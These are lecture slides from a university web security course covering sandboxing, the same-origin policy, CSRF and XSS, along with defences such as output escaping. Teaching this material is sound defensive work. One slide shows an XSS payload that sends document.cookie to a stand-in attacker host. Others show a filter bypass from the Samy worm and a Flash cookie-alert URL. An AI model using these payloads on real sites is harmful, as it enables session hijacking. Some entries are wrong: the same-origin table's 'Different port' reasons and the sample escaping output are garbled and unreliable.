Computer Security
CS 426
Lecture 12

Browser and Web Application Security

Elisa Bertino
Purdue University
IN, USA
bertino@cs.purdue.edu

Browser Features for Active Contents

- Browser Plugins
- Active X
- Javascript
- VBScript
- PHP
- ASP.NET AJAX
- Java applets

Security/Privacy Issues in Web Browsers

- How to securely run mobile code?
- How to provide access control to cookies and DOM objects?
- How to deal with privacy risks?

Security Risks Posted by Mobile Code

- Compromise host
  - Write to file system
  - Interfere with other processes in browser environment
- Steal information
  - Read file system
  - Read information associated with other browser processes (e.g., other windows)
  - Fool the user the reveal information
  - Reveal information through traffic analysis
Approaches to run Mobile Code

- **Sandboxing**
  - Code executed in browser has only restricted access to OS, network

- **Same-origin principle**
  - Only the site that stores some information in the browser may later read or modify that information (or depend on it in any way).

- **Establishing trust** in the code
  - Code digitally signed

---

Java Virtual Machine Architecture

![Java Virtual Machine Architecture Diagram]

- Compile source code
  - A.java
    - Java Compiler
    - B.class
    - Network
  - A.class

---

Security Mechanisms for Effective Sandboxing

- Examine code before executing
  - Java bytecode verifier performs critical tests

- Interpret code and trap risky operations
  - Java bytecode interpreter does run-time tests
  - Security manager applies local access policy

- Security manager
  - Allows you to establish a custom security policy for an application (it's written in Java)
  - Java API enforces the custom security policy
  - Site that supplied the code
  - Code signing – who signed it?

---

Checks Enforced by Security Manager

- **Network related:**
  - Accept a socket connection from a specified host and port number
  - Open a socket connection to a specified host and port number
  - Wait for a connection on a specified local port number

- **Thread/process management**
  - Modify a thread (change its priority, stop it, and so on)
  - Create a new process

- **Library/class management**
  - Create a new class loader
  - Load a dynamic library that contains native methods
  - Load a class from a specified package (used by class loaders)
  - Add a new class to a specified package (used by class loaders)

- **Read/write/delete from a specified file**
Javascript Security Model

• “Sandbox” design (at least conceptually)
  – No direct file access or network access
• Same-origin policy
  – Can only read properties of documents and
    windows from same place: server, protocol, port
• Access control with signed scripts
  – User can grant privileges to signed scripts
    • UniversalBrowserRead/Write
    • UniversalFileRead,
    • UniversalSendMail

Same-Origin Policy Revisited

• Origin = domain name + protocol + port
  of the site hosting the document
  – all three must be equal for origin to be
    considered the same
  – however, some access allowed for pages
    from same domain, but not same host

Materials from Wikipedia and

Examples

<table>
<thead>
<tr>
<th>URL of Target Window</th>
<th>Result of Same Origin Check with <a href="http://www.example.com">www.example.com</a></th>
<th>Reason</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.example.com/index.html">http://www.example.com/index.html</a></td>
<td>Passes</td>
<td>Same domain and protocol</td>
</tr>
<tr>
<td><a href="http://www.example.com/other/other/index.html">http://www.example.com/other/other/index.html</a></td>
<td>Passes</td>
<td>Same domain and protocol</td>
</tr>
<tr>
<td><a href="http://www.example.com/ex/1/dir/page.html">http://www.example.com/ex/1/dir/page.html</a></td>
<td>Does not pass</td>
<td>Different port</td>
</tr>
<tr>
<td><a href="http://www2.example.com/ex/1/dir/page.html">http://www2.example.com/ex/1/dir/page.html</a></td>
<td>Does not pass</td>
<td>Different port</td>
</tr>
<tr>
<td><a href="http://otherdomain.com/">http://otherdomain.com/</a></td>
<td>Does not pass</td>
<td>Different domain</td>
</tr>
<tr>
<td>ftp://www.example.com/</td>
<td>Does not pass</td>
<td>Different protocol</td>
</tr>
</tbody>
</table>

Same-origin Policy Applies To

• Manipulating browser windows
• URLs requested via the XmlHttpRequest
  – XmlHttpRequest is an API that can be used by web
    browser scripting languages to transfer XML and other text
    data to and from a web server using HTTP, by establishing
    an independent and asynchronous communication channel
    (used by AJAX)
• Manipulating frames (including inline frames)
• Manipulating documents (included using the object tag)
• Manipulating cookies
• NOTE: There is no limitation on including documents
  from other sources in HTML tag element: images, style
  sheets, and scripts are often included from other
  domains.
### Same-Origin Policy Designed to Prevent

- Impersonation of a Legitimate User (**Session Hijacking**)
  - violating the trust a website places in a remote user, allowing the attacker to initiate HTTP requests in the context of the remote user or impersonate the remote user entirely.
- Impersonation of a Legitimate Website (**Phishing**)
  - violating the trust a user places in a remote site by impersonating the site in whole or in part.

### Problems with Same-origin Policy

- Poorly enforced on some browsers
- Limitations if site hosts unrelated pages
- Same-origin policy allows script on one page to access properties of document from another
- Exceptions and workarounds open door for attacks
- Certain types of attacks, such as DNS rebinding permit the host name check to be partly subverted

### Same-Origin Policy: Exceptions, Issues, and Workarounds

- Parent Domain Traversal
  - x.y.com can set its domain to y.com
  - becomes problematic with international domains
- Use Flash browser plugins
  - allow cross-domain requests if allowed by a rule in crossdomain.xml
- Many vulnerabilities

### Same-origin Attacks

- Cross-site request forgery:
  - Malicious site provides a form to a browser and the browser can be made to submit the form to a trusted site with which the user has an active set of credentials.
  - exploits the trust a user places in a website
- Variants of cross-site scripting
  - Cross-Site Tracing: uses the HTTP TRACE method to echo back an attacker-controlled content body
  - Web Cache Poisoning: targets the local browser cache or (more often) a remote caching proxy
  - HTTP Response Splitting: injects text in the HTTP response header instead of the entity body.
Cross-Site Request Forgery (CSRF, XSRF)

- Attacker posts a link to the malicious site on the targeted site
- Victim browses to the malicious website
- Malicious website entices victim to submit a form with the action pointing to the target site
- Form submission is accepted if victim is already authenticated to the target site
- Form submission modifies sensitive data (e.g. the victim's password)

Cross Site Scripting (XSS)

- Recall the basics
  - scripts embedded in web pages run in browsers
  - scripts can access cookies
    - get private information
  - and manipulate DOM objects
    - controls what users see
- Why would XSS occur
  - Web applications often take user inputs and use them as part of webpage

XSS Attacks in Different Browsers

- The most common of all publicly reported security vulnerabilities
- IE 07: 49
- IE 06: 89
- Netscape 8.1 IE Rendering: 89
- Netscape 8.1-Gecko Rendering: 47
- Firefox 2.0: 45
- Firefox 1.5: 50
- Opera 9.02: 61
- Netscape 4: 5

XSS Trivia

- Name originated from the fact that a malicious web site could load another web site into another frame or window, then use Javascript to read/write data on the other web site
- The definition changed to mean the injection of HTML/Javascript into a web page
Example: Exploiting a Social Network

1. Bad guy posts a message
2. When good guy reads the message, bad guy steals the cookie that contains information about authentication

What’s wrong with this picture?

- User input is echoed into HTML response.

Example: search field
- search.php responds with:

```html
<HTML>  
<TITLE> Search Results </TITLE> 
<BODY> 
Results for <script> echo $_GET[term] ? </script> : 
... 
</BODY>  
</HTML>
```

How About This Picture?

- Consider link: (properly URL encoded)
  
  
  <script> window.open( 
    "http://badguy.com?cookie = " +
    document.cookie 
  ) </script>
  
  What happens if user clicks on the link?

Result

- Browser goes to victim.com/search.php
- Victim.com returns
  
  <HTML> Results for <script> ... </script> 

- Browser executes script:
  
  Sends badguy.com cookie for victim.com
So What?

• Why would user click on such a link?
  – Phishing email in webmail client (e.g. gmail).
  – Link in doubleclick banner ad
  – … many many ways to fool user into clicking

• What if badguy.com gets cookie for victim.com?
  – Cookie can include session auth for victim.com
  – Or other data intended only for victim.com
  ⇒ Violates same origin policy

Even Worse

• Attacker can execute arbitrary scripts in browser

• Can manipulate any DOM component on victim.com
  – Control links on page
  – Control form fields (e.g. password field) on this page and linked pages.

• Can infect other users: MySpace.com worm.

Samy’s Worm

• Users can post HTML on their pages
  – MySpace.com ensures HTML contains no
    <script>, <body>, onclick, <a href=javascript://>
  – … but can do Javascript within CSS tags:
    <div style="background:url(’javascript:alert(1)’)">
    And can hide “javascript” as “java\nscript”

• With careful javascript hacking:
  – Samy’s worm: infects anyone who visits an infected
    MySpace page … and adds Samy as a friend.
  – Samy had millions of friends within 24 hours.

• More info: http://namb.la/popular/tech.html

Flash And XSS

• Flash has its own scripting language (ActionScript)

• getURL functions specifies the URL from which to obtain the document.

getURL("http://www.example.com")

But also

getURL("javascript:alert(document.cookie)")

http://www.cgisecurity.com/lib/flash-xss.htm
How to Defend Against XSS?

- Better access control policies
- Escaping and filtering
- Input validation
- Cookie security
- Eliminating scripts
- Prevent untrusted data from modifying trusted code

Avoiding XSS bugs (PHP)

- Main problem:
  - Input checking is difficult --- many ways to inject scripts into HTML.
- Preprocess input from user before echoing it
- PHP: `htmlspecialchars(string)`
  
  ```php
  & → &amp;  " → &quot;  ’ → &039;  < → &lt;  > → &gt;
  `htmlspecialchars("<a href='test'>Test</a>", ENT_QUOTES);
  ```
  
  Outputs:
  ```html
  &lt;a href="#039;test"&gt;Test</a&gt;
  ```

Avoiding XSS bugs (ASP.NET)

- ASP.NET 1.1:
  - `Server.HtmlEncode(string)`
    - Similar to PHP htmlspecialchars
  - `validateRequest`: (on by default)
    - Crashes page if finds `<script>` in POST data.
    - Looks for hardcoded list of patterns.
    - Can be disabled:
      ```csharp
      <%@ Page validateRequest="false" %>
      ```